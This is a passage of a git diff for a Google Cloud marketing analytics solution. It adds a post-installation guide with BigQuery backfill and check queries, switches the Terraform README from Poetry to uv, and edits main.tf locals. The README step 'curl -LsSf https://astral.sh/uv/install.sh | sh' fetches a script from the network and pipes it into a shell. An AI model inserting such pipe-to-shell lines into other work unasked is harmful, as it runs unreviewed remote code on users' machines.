[value_based_bidding.training](https://github.com/GoogleCloudPlatform/marketing-analytics-jumpstart/blob/main/config/config.yaml.tftpl#L515)
[value_based_bidding.explanation](https://github.com/GoogleCloudPlatform/marketing-analytics-jumpstart/blob/main/config/config.yaml.tftpl#L591) | +| **Demographic Audience Segmentation** | [feature-creation-audience-segmentation](https://github.com/GoogleCloudPlatform/marketing-analytics-jumpstart/blob/main/config/config.yaml.tftpl#L248)
[segmentation.training](https://github.com/GoogleCloudPlatform/marketing-analytics-jumpstart/blob/main/config/config.yaml.tftpl#L930)
[segmentation.prediction](https://github.com/GoogleCloudPlatform/marketing-analytics-jumpstart/blob/main/config/config.yaml.tftpl#L973) | +| **Interest based Audience Segmentation** | [feature-creation-auto-audience-segmentation](https://github.com/GoogleCloudPlatform/marketing-analytics-jumpstart/blob/main/config/config.yaml.tftpl#L170)
[auto_segmentation.training](https://github.com/GoogleCloudPlatform/marketing-analytics-jumpstart/blob/main/config/config.yaml.tftpl#L1019)
[auto_segmentation.prediction](https://github.com/GoogleCloudPlatform/marketing-analytics-jumpstart/blob/main/config/config.yaml.tftpl#L1061) | +| **Purchase Propensity** | [feature-creation-purchase-propensity](https://github.com/GoogleCloudPlatform/marketing-analytics-jumpstart/blob/main/config/config.yaml.tftpl#L315)
[purchase_propensity.training](https://github.com/GoogleCloudPlatform/marketing-analytics-jumpstart/blob/main/config/config.yaml.tftpl#L630)
[purchase_propensity.prediction](https://github.com/GoogleCloudPlatform/marketing-analytics-jumpstart/blob/main/config/config.yaml.tftpl#L725) | +| **Customer Lifetime Value** | [feature-creation-customer-ltv](https://github.com/GoogleCloudPlatform/marketing-analytics-jumpstart/blob/main/config/config.yaml.tftpl#L419)
[propensity_clv.training](https://github.com/GoogleCloudPlatform/marketing-analytics-jumpstart/blob/main/config/config.yaml.tftpl#L1110)
[clv.training](https://github.com/GoogleCloudPlatform/marketing-analytics-jumpstart/blob/main/config/config.yaml.tftpl#L1221)
[clv.prediction](https://github.com/GoogleCloudPlatform/marketing-analytics-jumpstart/blob/main/config/config.yaml.tftpl#L1309) | +| **Churn Propensity** | [feature-creation-churn-propensity](https://github.com/GoogleCloudPlatform/marketing-analytics-jumpstart/blob/main/config/config.yaml.tftpl#L370)
[churn_propensity.training](https://github.com/GoogleCloudPlatform/marketing-analytics-jumpstart/blob/main/config/config.yaml.tftpl#L780)
[churn_propensity.prediction](https://github.com/GoogleCloudPlatform/marketing-analytics-jumpstart/blob/main/config/config.yaml.tftpl#L875) | + +After you change these configurations, make sure you apply these changes in your deployed resources by re-running terraform. + +```bash +terraform -chdir="${TERRAFORM_RUN_DIR}" apply +``` + +You can trigger your Cloud Workflow to execute your Dataform workflow at any time, or you can wait until the next day when the Cloud Workflow is going to be executed according to your schedule. There are two components in this solution that requires data for proper installation and functioning. One is the Looker Studio Dashboard, you only deploy the dashboard after you have executed all the steps in this Guide successfully. Another is the ML pipeline, the pipelines compilation requires views and tables to be created so that it can read their schema and define the column transformations to run during the pipeline execution. + +To manually start the data flow you must perform the following tasks: + +1. Run the Cloud Workflow + + On the Google Cloud console, navigate to Workflows page. You will see a Workflow named `dataform-prod-incremental`, then under Actions, click on the three dots and `Execute` the Workflow. + + **Note:** If you have a considerable amount of data (>XXX GBs of data) in your exported GA4 and Ads BigQuery datasets, it can take several minutes or hours to process all the data. Make sure that the processing has completed successfully before you continue to the next step. + +1. Invoke the BigQuery stored procedures having the prefix `invoke_backfill_*` to backfill the feature store in case the GA4 Export has been enabled before installing Marketing Analytics Jumpstart. + + On the Google Cloud console, navigate to BigQuery page. On the query composer, run the following queries to invoke the stored procedures. + ```sql + ## There is no need to backfill the aggregated value based bidding features since there + ## is no aggregations performed before training. The transformation was applied in the + ## Marketing Data Store + + ## Backfill customer ltv tables + CALL `feature_store.invoke_backfill_customer_lifetime_value_label`(); + CALL `feature_store.invoke_backfill_user_lifetime_dimensions`(); + CALL `feature_store.invoke_backfill_user_rolling_window_lifetime_metrics`(); + + ## Backfill purchase propensity tables + CALL `feature_store.invoke_backfill_user_dimensions`(); + CALL `feature_store.invoke_backfill_user_rolling_window_metrics`(); + CALL `feature_store.invoke_backfill_purchase_propensity_label`(); + + ## Backfill audience segmentation tables + CALL `feature_store.invoke_backfill_user_segmentation_dimensions`(); + CALL `feature_store.invoke_backfill_user_lookback_metrics`(); + + ## There is no need to backfill the auto audience segmentation features since + ## they are dynamically prepared in the feature engineering pipeline using + ## python code + + ## Backfill churn propensity tables + ## This use case reuses the user_dimensions and user_rolling_window_metrics, + ## make sure you invoke the backfill for these tables. CALLs are listed above + ## under backfill purchase propensity + CALL `feature_store.invoke_backfill_churn_propensity_label`(); + + ## Backfill for gemini insights + CALL `feature_store.invoke_backfill_user_scoped_metrics`(); + CALL `gemini_insights.invoke_backfill_user_behaviour_revenue_insights`(); + ``` + + **Note:** If you have a considerable amount of data (>XXX GBs of data) in your exported GA4 BigQuery datasets over the last six months, it can take several hours to backfill the feature data so that you can train your ML model. Make sure that the backfill procedures starts without errors before you continue to the next step. + +1. Check whether the feature store tables you have run backfill have rows in it. + + On the Google Cloud console, navigate to BigQuery page. On the query composer, run the following queries to invoke the stored procedures. + ```sql + ## There are no tables used by the aggregated value based bidding use case + ## in the feature store. + + ## Checking customer ltv tables are not empty + SELECT COUNT(user_pseudo_id) FROM `feature_store.customer_lifetime_value_label`; + SELECT COUNT(user_pseudo_id) FROM `feature_store.user_lifetime_dimensions`; + SELECT COUNT(user_pseudo_id) FROM `feature_store.user_rolling_window_lifetime_metrics`; + + ## Checking purchase propensity tables are not empty + SELECT COUNT(user_pseudo_id) FROM `feature_store.user_dimensions`; + SELECT COUNT(user_pseudo_id) FROM `feature_store.user_rolling_window_metrics`; + SELECT COUNT(user_pseudo_id) FROM `feature_store.purchase_propensity_label`; + + ## Checking audience segmentation tables are not empty + SELECT COUNT(user_pseudo_id) FROM `feature_store.user_segmentation_dimensions`; + SELECT COUNT(user_pseudo_id) FROM `feature_store.user_lookback_metrics`; + + ## There are no tables used by the auto audience segmentation use case + ## in the feature store. + + ## Checking churn propensity tables are not empty + ## This use case reuses the user_dimensions and user_rolling_window_metrics, + ## make sure you invoke the backfill for these tables. CALLs are listed above + ## under the instructions for backfill purchase propensity + SELECT COUNT(user_pseudo_id) FROM `feature_store.user_dimensions`; + SELECT COUNT(user_pseudo_id) FROM `feature_store.user_rolling_window_metrics`; + SELECT COUNT(user_pseudo_id) FROM `feature_store.churn_propensity_label`; + + ## Checking gemini insights tables are not empty + SELECT COUNT(feature_date) FROM `feature_store.user_scoped_metrics`; + SELECT COUNT(feature_date) FROM `gemini_insights.user_behaviour_revenue_insights_daily`; + SELECT COUNT(feature_date) FROM `gemini_insights.user_behaviour_revenue_insights_weekly`; + SELECT COUNT(feature_date) FROM `gemini_insights.user_behaviour_revenue_insights_monthly`; + ``` + +1. Redeploy the ML pipelines using Terraform. + + On your code editor, change the variable `deploy_pipelines` from `true` to `false`, on the TF variables file `${TERRAFORM_RUN_DIR}/terraform.tfvars`. + Next, undeploy the ML pipelines component by applying the terraform configuration. + + ```bash + terraform -chdir="${TERRAFORM_RUN_DIR}" apply + ``` + + Now, to deploy the ML pipelines component again, revert your changes on the TF variables file `${TERRAFORM_RUN_DIR}/terraform.tfvars` and apply the terraform configuration by running the commad above again. + + **Note:** The training pipelines use schemas defined by a `custom_transformations` parameter in your `config.yaml` or by the training table/view schema itself. + So at first, during the first deployment i.e. `tf apply`, because the views are not created yet, we assume a fixed schema in case no `custom_transformations` parameter is provided. + Then, you need to redeploy to make sure that since all the table views exist now, redeploy the pipelines to make sure you fetch the right schema to be provided to the training pipelines. + +1. Once the feature store is populated and the pipelines are redeployed, manually invoke the BigQuery procedures for preparing the training datasets, which have the suffix `_training_preparation`. + + On the Google Cloud console, navigate to BigQuery page. On the query composer, run the following queries to invoke the stored procedures. + ```sql + ## Training preparation for Aggregated Value Based Bidding + CALL `aggregated_vbb.invoke_aggregated_value_based_bidding_training_preparation`(); + + ## Training preparation for Customer Lifetime Value + CALL `customer_lifetime_value.invoke_customer_lifetime_value_training_preparation`(); + + ## Training preparation for Purchase Propensity + CALL `purchase_propensity.invoke_purchase_propensity_training_preparation`(); + + ## Training preparation for Audience Segmentation + CALL `audience_segmentation.invoke_audience_segmentation_training_preparation`(); + + ## Training preparation for Auto Audience Segmentation + CALL `auto_audience_segmentation.invoke_auto_audience_segmentation_training_preparation`(); + + ## Training preparation for Churn Propensity + CALL `churn_propensity.invoke_churn_propensity_training_preparation`(); + + ## There is no need to prepare training data for the gemini insights use case. + ## Gemini insights only require feature engineering the inference pipelines. + ## The gemini insights are saved in the gemini insights dataset, specified in the `config.yaml.tftpl` file. + ``` + +1. Check whether the training preparation tables you have run the procedures above have rows in it. + + On the Google Cloud console, navigate to BigQuery page. On the query composer, run the following queries to invoke the stored procedures. + ```sql + ## Checking aggregated value based bidding tables are not empty. + ## For training purposes, your dataset must always include at least 1,000 rows for tabular training data. + SELECT * FROM `aggregated_vbb.aggregated_value_based_bidding_training_full_dataset`; + + ## Checking customer ltv tables are not empty + ## For training purposes, your dataset must always include at least 1,000 rows for tabular training data. + SELECT COUNT(user_pseudo_id) FROM `customer_lifetime_value.customer_lifetime_value_training_full_dataset`; + + ## Checking purchase propensity tables are not empty + ## For training purposes, your dataset must always include at least 1,000 rows for tabular training data. + SELECT COUNT(user_pseudo_id) FROM `purchase_propensity.purchase_propensity_training_full_dataset`; + + ## Checking audience segmentation tables are not empty + ## For training purposes, your dataset must always include at least 1,000 rows for tabular training data. + SELECT COUNT(user_pseudo_id) FROM `audience_segmentation.audience_segmentation_training_full_dataset`; + + ## Checking churn propensity tables are not empty + ## For training purposes, your dataset must always include at least 1,000 rows for tabular training data. + SELECT COUNT(user_pseudo_id) FROM `churn_propensity.churn_propensity_training_full_dataset`; + ``` + +Your Marketing Analytics Jumpstart solution is ready for daily operation. Plan for the days you want your model(s) to be trained, change the scheduler dates in the `config.yaml.tftpl` file or manually trigger training whenever you want. For more information, read the documentations in the [docs/ folder](../../docs/). diff --git a/infrastructure/terraform/README.md b/infrastructure/terraform/README.md index 793f9419..fcbb9246 100644 --- a/infrastructure/terraform/README.md +++ b/infrastructure/terraform/README.md @@ -1,11 +1,13 @@ -# Terraform Scripts +# Manual Installation of Terraform Modules -The Terraform scripts in this folder create the infrastructure to start data ingestion -into BigQuery, create feature store, ML pipelines and Dataflow activation pipeline. +The Terraform scripts in this folder and subfolders create the infrastructure to start data ingestion +into BigQuery, create feature store, run ML pipelines and Dataflow activation application. ## Prerequisites -Make sure the prerequisites listed in the [parent README](../README.md) are met. You can run the script +Make sure the prerequisites listed in the [parent README](../README.md) are met. + +You can run the script from [Cloud Shell](https://cloud.google.com/shell/docs/using-cloud-shelld.google.com/shell/docs/using-cloud-shell) or a Linux machine or a Mac with `gcloud` command installed. The instructions provided are for the Cloud Shell installation. @@ -16,10 +18,11 @@ have plenty of disk space before continuing the installation. If that is not your case, following the Cloud Shell documentation to [reset your Cloud Shell](https://cloud.google.com/shell/docs/resetting-cloud-shell). -## Installation Guide -Step by step installation guide with [](https://shell.cloud.google.com/cloudshell/editor?cloudshell_git_repo=https://github.com/GoogleCloudPlatform/marketing-analytics-jumpstart.git&cloudshell_git_branch=main&cloudshell_workspace=&cloudshell_tutorial=infrastructure/cloudshell/tutorial.md) +## Manual Installation Guide + +In this section, you find all the detailed steps required for you to manually install the Marketing Analytics Jumpstart solution. Following this process, you have greater flexibility and customization allowing you to choose which components of the solution you want to use or not. -**Note:** If you are working from a forked repository, be sure to update the `cloudshell_git_repo` parameter to the URL of your forked repository for the button link above. +Also, this method allows you to extend this solution and develop it to satisfy your own needs. ### Initial Environment Setup @@ -40,51 +43,18 @@ Step by step installation guide with [ that manages the python version and dependecies for the solution. - ```bash - sudo apt-get install python3.10 - CLOUDSDK_PYTHON=python3.10 + ```sh + curl -LsSf https://astral.sh/uv/install.sh | sh + export PATH="$HOME/.local/bin:$PATH" ``` - If you are installing on a Mac: - ```shell - brew install python@3.10 - CLOUDSDK_PYTHON=python3.10 - ``` -1. Install Python's Poetry and set Poetry to use Python3.8-3.10 version - - [Poetry](https://python-poetry.org/docs/) is a Python's tool for dependency management and packaging. - - If you are installing on in Cloud Shell use the following commands: - ```shell - pipx install poetry - ``` - If you don't have pipx installed - follow the [Pipx installation guide](https://pipx.pypa.io/stable/installation/) - ```shell - sudo apt update - sudo apt install pipx - pipx ensurepath - ``` - Verify that `poetry` is on your $PATH variable: - ```shell - poetry --version - ``` - If it fails - add it to your $PATH variable: - ```shell - export PATH="$HOME/.local/bin:$PATH" - ``` - If you are installing on a Mac: - ```shell - brew install poetry - ``` - Set poetry to use your latest python3 - ```shell - SOURCE_ROOT=${HOME}/${REPO} - cd ${SOURCE_ROOT} - poetry env use python3 - ``` + Check uv installation: + ```sh + uv --version + ``` 1. Authenticate with additional OAuth 2.0 scopes needed to use the Google Analytics Admin API: ```shell @@ -102,7 +72,7 @@ Step by step installation guide with [ to manage your terraform version. + Make sure you have installed terraform version is 1.9.7. We recommend you to use [tfenv](https://github.com/tfutils/tfenv) to manage your terraform version. `Tfenv` is a version manager inspired by rbenv, a Ruby programming language version manager. To install `tfenv`, run the following commands: @@ -112,14 +82,22 @@ Step by step installation guide with [ makes it easier for teams to work together because all members have access to the latest state data in the remote store. ```bash + SOURCE_ROOT="${HOME}/${REPO}" cd ${SOURCE_ROOT} scripts/generate-tf-backend.sh ``` @@ -158,14 +137,23 @@ Step by step installation guide with [![Open in Cloud Shell](https://gstatic.com or in multi-regions by assigning value such as * `US` or `EU` -1. Run Terraform to create resources: +1. Run Terraform to initialize your environment, and validate if your configurations and variables are set as expected: ```bash terraform -chdir="${TERRAFORM_RUN_DIR}" init - terraform -chdir="${TERRAFORM_RUN_DIR}" apply + terraform -chdir="${TERRAFORM_RUN_DIR}" plan + terraform -chdir="${TERRAFORM_RUN_DIR}" validate ``` - If you don't have a successful execution from the beginning, re-run until all is deployed successfully. + If you run into errors, review and edit the `${TERRAFORM_RUN_DIR}/terraform.tfvars` file. However, if there are still configuration errors, open a new [github issue](https://github.com/GoogleCloudPlatform/marketing-analytics-jumpstart/issues/). + +1. Run Terraform to create resources: + + ```bash + terraform -chdir="${TERRAFORM_RUN_DIR}" apply + ``` + + If you don't have a successful execution of certain resources, re-run `terraform -chdir="${TERRAFORM_RUN_DIR}" apply` a few more times until all is deployed successfully. However, if there are still resources not deployed, open a new [github issue](https://github.com/GoogleCloudPlatform/marketing-analytics-jumpstart/issues/). ### Resume terminal session @@ -175,10 +163,10 @@ Because a Cloud Shell session is ephemeral, your Cloud Shell session could termi Reset your Google Cloud Project ID variables: - ```shell - export PROJECT_ID="[your Google Cloud project id]" - gcloud config set project $PROJECT_ID - ``` + ```bash + export PROJECT_ID="[your Google Cloud project id]" + gcloud config set project $PROJECT_ID + ``` Follow the authentication workflow, since your credentials expires daily: @@ -213,198 +201,12 @@ At this time, the Terraform scripts in this folder perform the following tasks: - Dataform repository connected to the GitHub repo - Deploys the marketing data store (MDS), feature store, ML pipelines and activation application -The Looker Studio Dashboard deployment is a separate [step](https://github.com/GoogleCloudPlatform/marketing-analytics-jumpstart/blob/main/python/lookerstudio/README.md). +## Next Steps -## Post-Installation Instructions +Follow the [post-installation guide](./POST-INSTALLATION.md) to start you daily operations. -Now that you have deployed all assets successfully in your Google Cloud Project, you may want to plan for operating the solution to be able to generate the predictions you need to create the audience segments you want for you Ads campaigns. To accomplish that, you gonna to plan a few things. +It is recommended to follow the post-installation guide before deploying the Looker Studio Dashboard, because you need the data and predictions tables to exist before consuming insights in your reports. -First, you need to choose what kind of insight you are looking for to define the campaigns. Here are a few insights provided by each one of the use cases already provided to you: +**The Looker Studio Dashboard deployment is a separate [step](https://github.com/GoogleCloudPlatform/marketing-analytics-jumpstart/blob/main/python/lookerstudio/README.md).** -- **Aggregated Value Based Bidding**: Attributes a numerical value to high value conversion events (user action) in relation to a target conversion event (typically purchase) so that Google Ads can improve the bidding strategy for users that reached these conversion events, as of now. -- **Demographic Audience Segmentation**: Attributes a cluster segment to an user using demographics data, including geographic location, device, traffic source and windowed user metrics looking XX days back. -- **Interest based Audience Segmentation**: Attributes a cluster segment to an user using pages navigations data looking XX days back, as of now. -- **Purchase Propensity**: Predicts a purchase propensity decile and a propensity score (likelihood between 0.0 - 0% and 1.0 - 100%) to an user using demographics data, including geographic location, device, traffic source and windowed user metrics looking XX days back to predict XX days ahead, as of now. -- **Customer Lifetime Value**: Predicts a lifetime value gain decile and a lifetime value revenue gain in USD (equal of bigger than 0.0) to an user using demographics data, including geographic location, device, traffic source and windowed user metrics looking XX-XXX days back to predict XX days ahead, as of now. -- **Churn Propensity**: Predicts a churn propensity decile and a propensity score (likelihood between 0.0 - 0% and 1.0 - 100%) to an user using demographics data, including geographic location, device, traffic source and windowed user metrics looking XX days back to predict XX days ahead, as of now. - -Second, you need to measure how much data you are going to use to obtain the insights you need. Each one of the use cases above requires data in the following intervals, using as key metrics number of days and unique user events. - -- **Aggregated Value Based Bidding**: Minimum 30 days and maximum 1 year. The number of unique user events is not a key limitation. Note that you need at least 1000 training examples for the model to be trained successfully, to accomplish that we typically duplicate the rows until we have a minimum of 1000 rows in the training table for the "TRAIN" subset. -- **Demographic Audience Segmentation**: Minimum 30 days and maximum 1 year. Minimum of 1000 unique user events per day. Note that you don't need more than 1M training examples for the model to perform well, make sure your training table doesn't contain more training examples than you need by applying exclusion clauses (i.e. WHERE, LIMIT clauses). -- **Interest based Audience Segmentation**: Minimum 30 days and maximum 1 year. Minimum of 1000 unique user events per day. Note that you don't need more than 1M training examples for the model to perform well, make sure your training table doesn't contain more training examples than you need by applying exclusion clauses (i.e. WHERE, LIMIT clauses). -- **Purchase Propensity**: Minimum 90 days and maximum 2 years. Minimum of 1000 unique user events per day, of which a minimum of 1 target event per week. Note that you don't need more than 1M training examples for the model to perform well, make sure your training table doesn't contain more training examples than you need by applying exclusion clauses (i.e. WHERE, LIMIT clauses). -- **Customer Lifetime Value**: Minimum 180 days and maximum 5 years. Minimum of 1000 unique user events per day, of which a minimum of 1 event per week that increases the lifetime value for an user. Note that you don't need more than 1M training examples for the model to perform well, make sure your training table doesn't contain more training examples than you need by applying exclusion clauses (i.e. WHERE, LIMIT clauses). -- **Churn Propensity**: Minimum 30 days and maximum 2 years. Minimum of 1000 unique user events per day, of which a minimum of 1 target event per week. Note that you don't need more than 1M training examples for the model to perform well, make sure your training table doesn't contain more training examples than you need by applying exclusion clauses (i.e. WHERE, LIMIT clauses). - -Third, the data must be processed by the Marketing Data Store; features must be prepared using the Feature Engineering procedure; and the training and inference pipelines must be triggered. For that, open your `config.yaml.tftpl` configuration file and check the `{pipeline-name}.execution.schedule` block to modify the scheduled time for each pipeline you gonna need to orchestrate that enables your use case. Here is a list of pipelines you need for every use case. - -- **Aggregated Value Based Bidding**: `feature-creation-aggregated-value-based-bidding`, `value_based_bidding.training`, `value_based_bidding.explanation` -- **Demographic Audience Segmentation**: `feature-creation-audience-segmentation`, `segmentation.training`, `segmentation.prediction` -- **Interest based Audience Segmentation**: `feature-creation-auto-audience-segmentation`, `auto_segmentation.training`, `auto_segmentation.prediction` -- **Purchase Propensity**: `feature-creation-purchase-propensity`, `purchase_propensity.training`, `purchase_propensity.prediction` -- **Customer Lifetime Value**: `feature-creation-customer-ltv`, `propensity_clv.training`, `clv.training`, `clv.prediction` -- **Churn Propensity**: `feature-creation-churn-propensity`, `churn_propensity.training`, `churn_propensity.prediction` - -After you change these configurations, make sure you apply these changes in your deployed resources by re-running terraform. - -```bash -terraform -chdir="${TERRAFORM_RUN_DIR}" apply -``` - -You can trigger your Cloud Workflow to execute your Dataform workflow at any time, or you can wait until the next day when the Cloud Workflow is going to be executed according to your schedule. There are two components in this solution that requires data for proper installation and functioning. One is the Looker Studio Dashboard, you only deploy the dashboard after you have executed all the steps in this Guide successfully. Another is the ML pipeline, the pipelines compilation requires views and tables to be created so that it can read their schema and define the column transformations to run during the pipeline execution. - -To manually start the data flow you must perform the following tasks: - -1. Run the Cloud Workflow - - On the Google Cloud console, navigate to Workflows page. You will see a Workflow named `dataform-prod-incremental`, then under Actions, click on the three dots and `Execute` the Workflow. - - **Note:** If you have a considerable amount of data (>XXX GBs of data) in your exported GA4 and Ads BigQuery datasets, it can take several minutes or hours to process all the data. Make sure that the processing has completed successfully before you continue to the next step. - -1. Invoke the BigQuery stored procedures having the prefix `invoke_backfill_*` to backfill the feature store in case the GA4 Export has been enabled before installing Marketing Analytics Jumpstart. - - On the Google Cloud console, navigate to BigQuery page. On the query composer, run the following queries to invoke the stored procedures. - ```sql - ## There is no need to backfill the aggregated value based bidding features since there - ## is no aggregations performed before training. The transformation was applied in the - ## Marketing Data Store - - ## Backfill customer ltv tables - CALL `feature_store.invoke_backfill_customer_lifetime_value_label`(); - CALL `feature_store.invoke_backfill_user_lifetime_dimensions`(); - CALL `feature_store.invoke_backfill_user_rolling_window_lifetime_metrics`(); - - ## Backfill purchase propensity tables - CALL `feature_store.invoke_backfill_user_dimensions`(); - CALL `feature_store.invoke_backfill_user_rolling_window_metrics`(); - CALL `feature_store.invoke_backfill_purchase_propensity_label`(); - - ## Backfill audience segmentation tables - CALL `feature_store.invoke_backfill_user_segmentation_dimensions`(); - CALL `feature_store.invoke_backfill_user_lookback_metrics`(); - - ## There is no need to backfill the auto audience segmentation features since - ## they are dynamically prepared in the feature engineering pipeline using - ## python code - - ## Backfill churn propensity tables - ## This use case reuses the user_dimensions and user_rolling_window_metrics, - ## make sure you invoke the backfill for these tables. CALLs are listed above - ## under backfill purchase propensity - CALL `feature_store.invoke_backfill_churn_propensity_label`(); - - ## Backfill for gemini insights - CALL `feature_store.invoke_backfill_user_scoped_metrics`(); - CALL `gemini_insights.invoke_backfill_user_behaviour_revenue_insights`(); - ``` - - **Note:** If you have a considerable amount of data (>XXX GBs of data) in your exported GA4 BigQuery datasets over the last six months, it can take several hours to backfill the feature data so that you can train your ML model. Make sure that the backfill procedures starts without errors before you continue to the next step. - -1. Check whether the feature store tables you have run backfill have rows in it. - - On the Google Cloud console, navigate to BigQuery page. On the query composer, run the following queries to invoke the stored procedures. - ```sql - ## There are no tables used by the aggregated value based bidding use case - ## in the feature store. - - ## Checking customer ltv tables are not empty - SELECT COUNT(user_pseudo_id) FROM `feature_store.customer_lifetime_value_label`; - SELECT COUNT(user_pseudo_id) FROM `feature_store.user_lifetime_dimensions`; - SELECT COUNT(user_pseudo_id) FROM `feature_store.user_rolling_window_lifetime_metrics`; - - ## Checking purchase propensity tables are not empty - SELECT COUNT(user_pseudo_id) FROM `feature_store.user_dimensions`; - SELECT COUNT(user_pseudo_id) FROM `feature_store.user_rolling_window_metrics`; - SELECT COUNT(user_pseudo_id) FROM `feature_store.purchase_propensity_label`; - - ## Checking audience segmentation tables are not empty - SELECT COUNT(user_pseudo_id) FROM `feature_store.user_segmentation_dimensions`; - SELECT COUNT(user_pseudo_id) FROM `feature_store.user_lookback_metrics`; - - ## There are no tables used by the auto audience segmentation use case - ## in the feature store. - - ## Checking churn propensity tables are not empty - ## This use case reuses the user_dimensions and user_rolling_window_metrics, - ## make sure you invoke the backfill for these tables. CALLs are listed above - ## under the instructions for backfill purchase propensity - SELECT COUNT(user_pseudo_id) FROM `feature_store.user_dimensions`; - SELECT COUNT(user_pseudo_id) FROM `feature_store.user_rolling_window_metrics`; - SELECT COUNT(user_pseudo_id) FROM `feature_store.churn_propensity_label`; - - ## Checking gemini insights tables are not empty - SELECT COUNT(feature_date) FROM `feature_store.user_scoped_metrics`; - SELECT COUNT(feature_date) FROM `gemini_insights.user_behaviour_revenue_insights_daily`; - SELECT COUNT(feature_date) FROM `gemini_insights.user_behaviour_revenue_insights_weekly`; - SELECT COUNT(feature_date) FROM `gemini_insights.user_behaviour_revenue_insights_monthly`; - ``` - -1. Redeploy the ML pipelines using Terraform. - - On your code editor, change the variable `deploy_pipelines` from `true` to `false`, on the TF variables file `${TERRAFORM_RUN_DIR}/terraform.tfvars`. - Next, undeploy the ML pipelines component by applying the terraform configuration. - - ```bash - terraform -chdir="${TERRAFORM_RUN_DIR}" apply - ``` - - Now, to deploy the ML pipelines component again, revert your changes on the TF variables file `${TERRAFORM_RUN_DIR}/terraform.tfvars` and apply the terraform configuration by running the commad above again. - - **Note:** The training pipelines use schemas defined by a `custom_transformations` parameter in your `config.yaml` or by the training table/view schema itself. - So at first, during the first deployment i.e. `tf apply`, because the views are not created yet, we assume a fixed schema in case no `custom_transformations` parameter is provided. - Then, you need to redeploy to make sure that since all the table views exist now, redeploy the pipelines to make sure you fetch the right schema to be provided to the training pipelines. - -1. Once the feature store is populated and the pipelines are redeployed, manually invoke the BigQuery procedures for preparing the training datasets, which have the suffix `_training_preparation`. - - On the Google Cloud console, navigate to BigQuery page. On the query composer, run the following queries to invoke the stored procedures. - ```sql - ## Training preparation for Aggregated Value Based Bidding - CALL `aggregated_vbb.invoke_aggregated_value_based_bidding_training_preparation`(); - - ## Training preparation for Customer Lifetime Value - CALL `customer_lifetime_value.invoke_customer_lifetime_value_training_preparation`(); - - ## Training preparation for Purchase Propensity - CALL `purchase_propensity.invoke_purchase_propensity_training_preparation`(); - - ## Training preparation for Audience Segmentation - CALL `audience_segmentation.invoke_audience_segmentation_training_preparation`(); - - ## Training preparation for Auto Audience Segmentation - CALL `auto_audience_segmentation.invoke_auto_audience_segmentation_training_preparation`(); - - ## Training preparation for Churn Propensity - CALL `churn_propensity.invoke_churn_propensity_training_preparation`(); - - ## There is no need to prepare training data for the gemini insights use case. - ## Gemini insights only require feature engineering the inference pipelines. - ## The gemini insights are saved in the gemini insights dataset, specified in the `config.yaml.tftpl` file. - ``` - -1. Check whether the training preparation tables you have run the procedures above have rows in it. - - On the Google Cloud console, navigate to BigQuery page. On the query composer, run the following queries to invoke the stored procedures. - ```sql - ## Checking aggregated value based bidding tables are not empty. - ## For training purposes, your dataset must always include at least 1,000 rows for tabular training data. - SELECT * FROM `aggregated_vbb.aggregated_value_based_bidding_training_full_dataset`; - - ## Checking customer ltv tables are not empty - ## For training purposes, your dataset must always include at least 1,000 rows for tabular training data. - SELECT COUNT(user_pseudo_id) FROM `customer_lifetime_value.customer_lifetime_value_training_full_dataset`; - - ## Checking purchase propensity tables are not empty - ## For training purposes, your dataset must always include at least 1,000 rows for tabular training data. - SELECT COUNT(user_pseudo_id) FROM `purchase_propensity.purchase_propensity_training_full_dataset`; - - ## Checking audience segmentation tables are not empty - ## For training purposes, your dataset must always include at least 1,000 rows for tabular training data. - SELECT COUNT(user_pseudo_id) FROM `audience_segmentation.audience_segmentation_training_full_dataset`; - - ## Checking churn propensity tables are not empty - ## For training purposes, your dataset must always include at least 1,000 rows for tabular training data. - SELECT COUNT(user_pseudo_id) FROM `churn_propensity.churn_propensity_training_full_dataset`; - ``` -Your Marketing Analytics Jumpstart solution is ready for daily operation. Plan for the days you want your model(s) to be trained, change the scheduler dates in the `config.yaml.tftpl` file or manually trigger training whenever you want. For more information, read the documentations in the [docs/ folder](../../docs/). diff --git a/infrastructure/terraform/main.tf b/infrastructure/terraform/main.tf index e2186b06..4c3054f3 100644 --- a/infrastructure/terraform/main.tf +++ b/infrastructure/terraform/main.tf @@ -42,23 +42,28 @@ provider "google" { region = var.google_default_region } +data "google_project" "main_project" { + provider = google + project_id = var.main_project_id +} + data "google_project" "feature_store_project" { - provider = google + provider = google project_id = var.feature_store_project_id } data "google_project" "activation_project" { - provider = google + provider = google project_id = var.activation_project_id } data "google_project" "data_processing_project" { - provider = google + provider = google project_id = var.data_processing_project_id } data "google_project" "data_project" { - provider = google + provider = google project_id = var.data_project_id } @@ -66,36 +71,36 @@ data "google_project" "data_project" { # The locals block is used to define variables that are used in the configuration. locals { # The source_root_dir is the root directory of the project. - source_root_dir = "../.." + source_root_dir = "../.." # The config_file_name is the name of the config file. - config_file_name = "config" - # The poetry_run_alias is the alias of the poetry command. - poetry_run_alias = "${var.poetry_cmd} run" + config_file_name = "config" + # The uv_run_alias is the alias of the uv run command. + uv_run_alias = "${var.uv_cmd} run" # The mds_dataset_suffix is the suffix of the marketing data store dataset. - mds_dataset_suffix = var.create_staging_environment ? "staging" : var.create_dev_environment ? "dev" : "prod" + mds_dataset_suffix = var.property_id # The project_toml_file_path is the path to the project.toml file. - project_toml_file_path = "${local.source_root_dir}/pyproject.toml" + project_toml_file_path = "${local.source_root_dir}/pyproject.toml" # The project_toml_content_hash is the hash of the project.toml file. # This is used for the triggers of the local-exec provisioner. project_toml_content_hash = filesha512(local.project_toml_file_path) # The generated_sql_queries_directory_path is the path to the generated sql queries directory. generated_sql_queries_directory_path = "${local.source_root_dir}/sql/query" # The generated_sql_queries_fileset is the list of files in the generated sql queries directory. - generated_sql_queries_fileset = [for f in fileset(local.generated_sql_queries_directory_path, "*.sqlx") : "${local.generated_sql_queries_directory_path}/${f}"] + generated_sql_queries_fileset = [for f in fileset(local.generated_sql_queries_directory_path, "*.sqlx") : "${local.generated_sql_queries_directory_path}/${f}"] # The generated_sql_queries_content_hash is the sha512 hash of file sha512 hashes in the generated sql queries directory. - generated_sql_queries_content_hash = sha512(join("", [for f in local.generated_sql_queries_fileset : fileexists(f) ? filesha512(f) : sha512("file-not-found")])) + generated_sql_queries_content_hash = sha512(join("", [for f in local.generated_sql_queries_fileset : fileexists(f) ? filesha512(f) : sha512("file-not-found")])) # The generated_sql_procedures_directory_path is the path to the generated sql procedures directory. generated_sql_procedures_directory_path = "${local.source_root_dir}/sql/procedure" # The generated_sql_procedures_fileset is the list of files in the generated sql procedures directory. - generated_sql_procedures_fileset = [for f in fileset(local.generated_sql_procedures_directory_path, "*.sqlx") : 